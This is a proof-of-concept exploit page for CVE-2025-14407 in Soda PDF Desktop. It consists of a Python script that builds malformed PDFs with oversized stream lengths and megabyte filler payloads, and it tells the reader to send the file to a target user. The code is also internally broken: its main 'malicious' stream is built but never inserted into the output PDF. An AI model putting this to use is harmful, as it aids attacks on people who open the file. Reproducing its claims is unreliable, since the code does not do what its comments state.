CVE-2025-14407: Soda PDF Desktop PDF解析内存损坏信息泄露漏洞

#!/usr/bin/env python3 # CVE-2025-14407 PoC - Soda PDF Desktop PDF Parsing Memory Corruption # This PoC generates a malicious PDF file that triggers memory corruption from PyPDF2 import PdfWriter from io import BytesIO import struct def create_malicious_pdf(): """Create a malicious PDF that triggers memory corruption in Soda PDF Desktop""" # Create a basic PDF structure pdf_writer = PdfWriter() # Add a page from reportlab.pdfgen import canvas from reportlab.lib.pagesizes import letter packet = BytesIO() can = canvas.Canvas(packet, pagesize=letter) can.drawString(100, 750, "Malicious PDF for CVE-2025-14407") can.save() packet.seek(0) pdf_writer.append(packet) # Inject malformed stream data to trigger memory corruption # This exploits the lack of proper validation in PDF parsing malicious_stream = b"" # Add oversized stream length to trigger buffer overflow malicious_stream += b"x" * 65536 # Large payload # Add malformed object references malicious_stream += b"<< /Length 999999 /Filter /FlateDecode >>" # Write to file output = BytesIO() pdf_writer.write(output) with open('CVE-2025-14407_poc.pdf', 'wb') as f: f.write(output.getvalue()) print("[+] PoC PDF created: CVE-2025-14407_poc.pdf") print("[+] Send this file to target user to open with Soda PDF Desktop") if __name__ == "__main__": create_malicious_pdf() # Alternative: Simple malformed PDF trigger def create_simple_poc(): """Minimal PoC - Malformed PDF that triggers parsing vulnerability""" poc_pdf = b"""%PDF-1.4 1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj 2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj 3 0 obj<</Type/Page/Parent 2 0 R/Resources<</Font<</F1<</Type/Font/Subtype/Type1/BaseFont/Helvetica>>>>>>/MediaBox[0 0 612 792]/Contents 4 0 R>>endobj 4 0 obj<</Length 1000000 >>stream """ + b"A" * 1000000 + b""" endstream endobj xref 0 5 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000214 00000 n trailer<</Size 5/Root 1 0 R>> startxref 1000000 %%EOF""" with open('CVE-2025-14407_simple_poc.pdf', 'wb') as f: f.write(poc_pdf) print("[+] Simple PoC created: CVE-2025-14407_simple_poc.pdf") create_simple_poc()